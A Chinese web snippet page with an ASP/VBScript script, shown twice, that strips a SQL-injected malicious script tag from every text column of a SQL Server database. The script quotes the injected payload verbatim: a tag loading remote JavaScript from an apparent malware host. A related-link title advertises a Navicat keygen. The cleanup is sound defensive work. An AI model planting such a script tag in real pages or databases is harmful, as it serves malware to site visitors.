恢復(fù) SQL 被注入后的數(shù)據(jù)代碼
更新時間:2009年02月27日 21:26:46 作者:
當(dāng)數(shù)據(jù)庫別批量注入掛馬后,需要批量替換掉,可以參考下面的代碼。
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 與text類型相似,不同的是,ntext類型采用unicode標(biāo)準(zhǔn)字符集。
'xtype=35 text 用于存儲大量文本數(shù)據(jù)。
'xtype=231 nvarchar 用來定義可變長度的二進(jìn)制數(shù)據(jù),最大長度為4000個字符。
'xtype=167 varchar 存儲最??梢赃_(dá)到8000個字符的變長的字符數(shù)據(jù)
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本類型字段后的木馬代碼
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段類型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已經(jīng)初步清理了掛馬數(shù)據(jù),請重新刷新頁面試試看!")
%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 與text類型相似,不同的是,ntext類型采用unicode標(biāo)準(zhǔn)字符集。
'xtype=35 text 用于存儲大量文本數(shù)據(jù)。
'xtype=231 nvarchar 用來定義可變長度的二進(jìn)制數(shù)據(jù),最大長度為4000個字符。
'xtype=167 varchar 存儲最??梢赃_(dá)到8000個字符的變長的字符數(shù)據(jù)
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本類型字段后的木馬代碼
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段類型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已經(jīng)初步清理了掛馬數(shù)據(jù),請重新刷新頁面試試看!")
%>
相關(guān)文章
開源數(shù)據(jù)庫設(shè)計神器chiner的安裝及初體驗介紹
最近在造輪子,從?0?到?1?的那種,就差前臺的界面了,大家可以耐心耐心耐心期待一下。其中需要設(shè)計一些數(shù)據(jù)庫表,可以通過?Navicat?這種圖形化管理工具直接開搞,也可以通過一些數(shù)據(jù)庫設(shè)計工具來搞,比如說?PowerDesigner,更專業(yè)一點(diǎn)2022-02-02
Access轉(zhuǎn)成SQL數(shù)據(jù)庫的方法
很多朋友想用SQL2000數(shù)據(jù)庫的編程方法,但是卻又苦于自己是學(xué)ACCESS的,對SQL只是一點(diǎn)點(diǎn)的了解而已,這里我給大家提供以下參考---將ACCESS轉(zhuǎn)化成SQL2000的方法和注意事項。2015-09-09
Navicat11全系列激活教程圖文詳解(Navicat注冊機(jī))
這篇文章主要介紹了Navicat11全系列激活教程圖文詳解(注冊機(jī)),本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-11-11
使用sqlalchemy-gbasedbt連接GBase 8s數(shù)據(jù)庫的步驟詳解
這篇文章主要介紹了使用sqlalchemy-gbasedbt連接GBase 8s數(shù)據(jù)庫的步驟詳解,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2023-04-04

